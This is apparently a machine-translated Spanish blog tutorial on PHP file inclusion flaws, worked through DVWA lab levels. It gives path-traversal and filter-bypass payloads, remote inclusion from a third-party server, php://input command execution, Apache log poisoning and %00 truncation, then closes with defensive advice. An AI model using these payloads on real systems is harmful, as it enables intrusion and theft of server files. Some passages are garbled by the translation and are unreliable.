El archivo de prueba de penetración contiene vulnerabilidades

El archivo contiene vulnerabilidades:

teoría:

El archivo contiene: al
escribir un programa, escriba las funciones utilizadas repetidamente en un solo archivo. Cuando utilice estas funciones, puede llamar directamente a este archivo sin volver a escribir. Este proceso de llamar a archivos se llama include

Vulnerabilidades de inclusión de archivos: los
desarrolladores quieren que el código sea más flexible, por lo que establecerán los archivos incluidos como variables para llamadas dinámicas.
La razón de la vulnerabilidad de inclusión de archivos es que cuando la función introduce el archivo a través de la variable, no realiza una verificación razonable del nombre del archivo entrante, por lo que opera un archivo inesperado, lo que conduce a una fuga accidental del archivo e incluso a la inyección de código malicioso.

Función de inclusión de archivo:
La función de inclusión de archivo en PHP:
include () solo se genera una advertencia cuando no se encuentra el archivo incluido.
Include_once () es similar a include (), la diferencia es que si el código en el archivo ha sido incluido, no se repetirá Incluir
require () generará un error fatal cuando el archivo incluido no se pueda encontrar. El script deja de ejecutarse.
require_once () es similar a require (), excepto que cuando el código en el archivo ya está incluido , no se volverá a incluir

El archivo proporcionado por jsp \ servlet contiene la función
ava.io.file ()
java.io.filereader ()

El archivo incluye la función
include_file
include_virtual proporcionada en asp

Clasificación de vulnerabilidad de inclusión de
archivos: inclusión de archivos locales: el
archivo incluido se almacena en el servidor local

Inclusión de archivo remoto: el
archivo incluido se almacena en un servidor de terceros. La
condición es: allow_url_fopen = on

El archivo contiene detección de vulnerabilidades:
hay características de la página que contienen vulnerabilidades
:? Page = a.php
? Home = b.html
? File = content
Método de prueba clásico
:? File =… /… /… / etc / passwd
? Page = file: / // etc / passwd
? pade = http: //www.f_In.cn/1.php

Ejemplos:

1. El archivo contiene ejemplos de vulnerabilidades (Windows) Elemental

Ingrese dvwa y establezca el nivel de seguridad en bajo

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Agregue / etc / passwd después de la dirección URL, al regresar a la página, puede determinar que el sistema es Windows y obtener la ruta absoluta del archivo del servidor

Acceso a la ruta absoluta,
agregue comandos específicos después de la URL de la siguiente manera para obtener la información del archivo PHP
D: \ phpstudy \ www \ dvwa \ php.ini

Acceso a la ruta relativa:
Ingrese la ruta relativa del archivo en la dirección url para obtener la información del archivo PHP El comando específico es el siguiente:
donde ... / es el ciclotrón, y regresa al directorio raíz del sistema.
… /… /… /… /… / Phpstudy \ www \ dvwa \ php.ini

Para aumentar la ocultación, se codifica \ phpstudy \ www \ dvwa \ php.ini y luego se accede

El archivo remoto contiene
Cree el archivo phpinfo.txt y colóquelo en el servidor de terceros

<? php phpinfo ()?>

Ingrese el enlace externo en la dirección URL para obtener la información del archivo php relevante
HTTP: //192.168.1.10/phpinfo.txt
donde la dirección IP es la dirección IP del servidor de terceros

Codifique HTTP: //192.168.1.10/phpinfo.txt para acceder

2. El archivo contiene la instancia de vulnerabilidad (Windows) Intermedio

Ingrese dvwa y establezca el nivel de seguridad en medio

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Agregue / etc / passwd después de la dirección URL. Al regresar a la página, puede determinar que el sistema es Windows y obtener la ruta absoluta del archivo del servidor D: \ phpstudy \ www \ dvwa

Acceso a la ruta absoluta,
agregue comandos específicos después de la URL de la siguiente manera para obtener la información del archivo PHP
D: \ phpstudy \ www \ dvwa \ php.ini

Verifique el código fuente y descubra que el servidor usa la función str_replace () para filtrar ... /… \ http https

Para el acceso a la ruta relativa, use escritura doble para omitir,
… /./… /./… /./… /./… /./ phpstudy / www / dvwa / php.ini

El archivo remoto contiene
Cree el archivo phpinfo.txt y colóquelo en el servidor de terceros

<? php phpinfo ()?>

Ingrese el enlace externo en la dirección URL y use la regla de sustitución de bypass de escritura doble para obtener la información relevante del archivo php
hthttp: // tp: //192.168.1.10/phpinfo.txt

3. El archivo contiene la instancia de vulnerabilidad tres (Windows) avanzada

Ingrese dvwa y establezca el nivel de seguridad en alto

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Agregue / etc / passwd después de la dirección URL, verifique los resultados y encuentre un error

Mirando el código fuente, se encuentra que el servidor usa la función fnmatch () para verificar el parámetro de la página. El parámetro de la página debe estar al principio del archivo, para que el servidor contenga el archivo correspondiente.

Agregue el archivo: /// etc / passwd después de la dirección URL, verifique el resultado de la devolución, el sistema es Windows y busque la ruta del archivo web

Ruta de acceso absoluta:
ingrese los siguientes parámetros en la dirección para obtener el archivo de información del
archivo php : /// D: \ phpstudy \ www \ dvwa \ php.ini


Archivo de acceso de ruta relativa : /// ... \ phpstudy \ www \ dvwa \ php.ini

4. El archivo contiene cuatro ejemplos de vulnerabilidad (Linux) elemental

El nivel de seguridad de la plataforma dvwa (basada en Linux) es bajo

Ingrese dvwa y establezca el nivel de seguridad en bajo

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Agregue / etc / passwd después de la dirección URL y obtenga la información del archivo passwd del sistema donde se encuentra la plataforma devolviendo el resultado de la página

Acceso a la ruta relativa:
Ingrese la ruta relativa del archivo en la dirección url para obtener la información del archivo passwd El comando específico es el siguiente:
donde ... / es el ciclotrón y regresa al directorio raíz del sistema.
… /… /… /… /… / Etc / passwd

Para aumentar la ocultación, se codifica / etc / passwd y luego se accede

El archivo remoto contiene
Cree el archivo phpinfo.txt y colóquelo en el servidor de terceros

<? php phpinfo ()?>

Ingrese el enlace externo en la dirección URL para obtener la información del archivo php relevante
HTTP: //192.168.1.10/phpinfo.txt
donde la dirección IP es la dirección IP del servidor de terceros

Codifique HTTP: //192.168.1.10/phpinfo.txt para acceder

5. El archivo contiene la instancia de vulnerabilidad cuatro (Linux) Intermedia

Ingrese dvwa y establezca el nivel de seguridad en medio

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Mirando el código fuente, se encuentra que el servidor usa la función str_replace () para filtrar ... /… \ http https.
Agregue / etc / passwd después de la dirección URL, y obtenga la información del archivo passwd del sistema donde el la plataforma se encuentra volviendo a la página

Para el acceso a la ruta relativa, use escritura doble para omitir,
… /./… /./… /./… /./… /./ etc / passwd

El archivo remoto contiene
Cree el archivo phpinfo.txt y colóquelo en el servidor de terceros

<? php phpinfo ()?>

Ingrese el enlace externo en la dirección URL y use la regla de sustitución de bypass de escritura doble para obtener la información relevante del archivo php
hthttp: // tp: //192.168.1.10/phpinfo.txt

6. El archivo contiene el ejemplo de vulnerabilidad tres (linux) avanzado

Ingrese dvwa y establezca el nivel de seguridad en alto

Haga clic en la inclusión de archivos para ingresar a la página de prueba

Agregue / etc / passwd después de la dirección URL, verifique los resultados y encuentre un error

Mirando el código fuente, se encuentra que el servidor usa la función fnmatch () para verificar el parámetro de la página. El parámetro de la página debe estar al principio del archivo, para que el servidor contenga el archivo correspondiente.

Agregue el archivo: /// etc / passwd después de la dirección URL, vea el resultado devuelto y obtenga la información del archivo passwd del sistema donde se encuentra la plataforma


Archivo de acceso de ruta relativa : ///… /… /… /… /… / etc / passwd

7. El registro de middleware contiene instancias de omisión:

Cuando un archivo PHP tiene solo vulnerabilidades de inclusión local y no tiene vulnerabilidades de inclusión remota, pero los archivos normales no se pueden cargar (sin función de carga), esto significa que existen vulnerabilidades de inclusión pero no se pueden explotar. En este momento, el atacante puede usar archivos de registro de Apache invadir.

Una vez que el servidor Apache se está ejecutando, se generarán dos archivos de registro. Estos dos archivos son access.log (registro de acceso) y error.log (registro de errores). El archivo de registro de Apache registra nuestras operaciones y escribe en el archivo de registro de acceso acceso. en el registro

Experimento:
En dvwa: el nivel de seguridad está configurado en bajo.
En este momento, se escribirá una palabra de caballo de Troya en el registro de acceso de access.log.
Método: Copie una palabra de caballo de Troya en el helicóptero y conéctese a la dirección URL . Después de la ejecución, el registro registrará la siguiente oración.
Aunque el troyano informará un error, se ha registrado una palabra de troyano en el registro.
En este punto, solo use el archivo de inclusión local para ejecutar access.log.
Tenga en cuenta que puede use ... / para ajustar el directorio.

8.php contiene archivos de lectura y escritura

1.php contiene archivos leídos:

Entorno experimental dvwa, nivel de seguridad bajo

La condición es conocer el nombre y la ruta de este archivo.

Abra el proxy en el navegador, abra burp y cree la URL en el navegador para realizar la captura de paquetes
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64 - La función de encode / resource = x.php
es acceder a la URL, modificar los parámetros de la función y luego obtener la cadena cifrada en base64 a través del protocolo php (php: // filter / read)
y luego descifrarla a obtener el contenido de datos PHP

2.php contiene archivos de escritura para
construir URL
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input

Y los datos de publicación enviados por burp son: <? Php system ('net user');?> Use el lenguaje php, la función del sistema y ejecute la
función del usuario de la red . Aquí también se pueden usar muchas otras funciones que pueden ejecutar comandos.

Solo se puede usar cuando allow_url_include está activado. Si desea ver el resultado del eco, debe encontrar php-apache2handler.ini en C: \ php \ php-5.2.14-Win32 y abrirlo, y buscar display_funtions = proc -open, oppen, exec, system ……. Elimina el sistema y reinicia apache.

El archivo contiene un resumen de los métodos de omisión de vulnerabilidades.

  1. La función str_replace omite
    DVWA en el entorno experimental. Los
    programadores de nivel medio de seguridad usarán la función str_replace para la defensa. Esta función es extremadamente insegura, porque puede omitir fácilmente la regla de reemplazo usando escritura doble,
    como page = hthttp: // tp: / /192.168.0.103/phpinfo.txt, la función str_replace eliminará http: //, por lo que page = http: //192.168.0.103/phpinfo.txt, el comando remoto se ejecuta correctamente.

Tenga en cuenta que debido a que solo se reemplazan "... /" y "... \", no hay ninguna restricción para incluir archivos utilizando rutas absolutas.

Experimento:
1. El archivo local contiene
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/ . /..././..././..././Xampp/htdocs/dvwa/php.ini
2. La ruta absoluta no se ve afectada de ninguna manera
http://192.168.0.103/dvwa/ vulnerabilities / fi / page = C: / xampp /htdocs/dvwa/php.ini
3. El archivo remoto contiene
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168. 5.12 / phpinfo.txt

2. Incluya el
código de análisis de omisión de truncamiento :
<? Php
if (isset ($ _ GET ['página'])) { include $ _GET ['página']. ". Php"; } else { include'home.php '; } ?> Determine si el parámetro está asignado. Si está asignado, incluya la variable de parámetro y agregue `` .php '' para la defensa. Si no hay asignación, incluya home.php. Este método solo es adecuado para magic_quotes_gpc = off, el php versión Si es menor que 5.3.4, puede ser omitido por el truncamiento% 00, pero es difícil de ver ahora, por ejemplo: index.php? file = info.txt // ………… sobre una cierta cantidad de datos/.








3. La función fnmatch no pasa por
el análisis de código:
si (fnmatch ( "archivo *",! Error de análisis Katex: Expected'EOF', consiguió '&' en la posición 6: archivo) & & ! File = "include.php")
cuando el archivo Se produce un error cuando no es "include.php" (incluido el archivo include.php) ni "archivo *" (el comienzo del archivo de nombre de archivo), y viceversa, si el nombre de archivo cumple una de las condiciones.

En este momento, la primera condición es difícil de cumplir, por lo que centramos nuestra atención en llegar a la segunda vulnerabilidad
page = file: /// C: /xampp/htdocs/dvwa/php.ini solo cumple con "file *" (nombre de archivo comienzo del archivo)

Construya la URL
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
lea con éxito el archivo de configuración del servidor
usando el protocolo de archivo php

4. Análisis del código de dificultad imposible
si (! = "Include.php" && $ file! "File1.php" && "file2.php")

Utiliza el método de agregar una lista blanca para estipular que los parámetros solo pueden ser file1.php, file2.php

Usar

1. El archivo contiene vulnerabilidades:
1. El archivo contiene métodos de explotación de uso común:
leer información confidencial,
contención local y carga de archivos
usar el protocolo de encapsulación php
archivo de registro apache
contención remota escribir shell
contención truncada

2. Lectura de información confidencial El
método comúnmente utilizado
es agregar el nombre de archivo del host de destino después de la dirección URL.Si el archivo existe en el host de destino y el usuario tiene los permisos correspondientes, se puede leer el contenido del archivo. De lo contrario, recibirá una advertencia similar a la restricción basada en open_based en vigor

Ruta de archivo de información confidencial común
Sistema Windows
C: \ boot.ini // Ver la versión del sistema
C: \ windows \ repair \ sam // almacenar la contraseña para la primera instalación del sistema Windows
C: \ porgram files \ mysql \ my. ini // almacenar la configuración de MySQL
sistema Linux
/ etc / passwd
/etc/local/app/apache2/conf/httpd.conf // archivo de configuración de apache
/etc/my.cnf // archivo de configuración de mysql

3. Inclusión local y carga de archivos:
bajo la condición de que el sitio web proporcione la función de carga de archivos, el shell aún puede eliminarse con vulnerabilidades de inclusión de archivos.

4. La
condición del shell de escritura de inclusión remota es allow_url_fopen = on

Escriba el archivo shell.txt en el servidor remoto.
Después del parámetro url, conecte la dirección del servidor de terceros y el nombre del archivo shell.txt dentro

5.protocolo de encapsulación
php Use php: // filter para leer el código fuente de archivos php
Use el protocolo de encapsulación php: // inpput para la ejecución del código

6.Archivo de registro de Apache La
condición es que la cuenta actual tenga derecho a registrar el archivo.
Método: Utilice un software de captura de paquetes para agregar código malicioso a la URL y luego use la vulnerabilidad de inclusión de archivos para incluir el archivo de registro. Encontrar la ruta de apache es la clave

7. Truncar incluye
Método:% 00 (nulo)
Utilice el sistema operativo para limitar la longitud máxima del directorio

Si hay un troyano con imágenes en este momento,
ingrese http://www.f_i.cn/index.php?page=1.jpg%00

Este método solo es aplicable cuando majic_quotes_gpc = off

El archivo contiene defensa contra vulnerabilidades

Juzgue estrictamente si los parámetros incluidos son controlables externamente

Restricción de ruta: restrinja los archivos incluidos a solo una carpeta determinada y debe prohibir los caracteres de salto de directorio como ... /

Incluir verificación de archivo: verifique si el archivo incluido es miembro de la lista blanca

Intente no utilizar la inclusión dinámica, puede escribirlo en la página que debe incluirse

Supongo que te gusta

Origin blog.csdn.net/weixin_45380284/article/details/108132429
Recomendado
Clasificación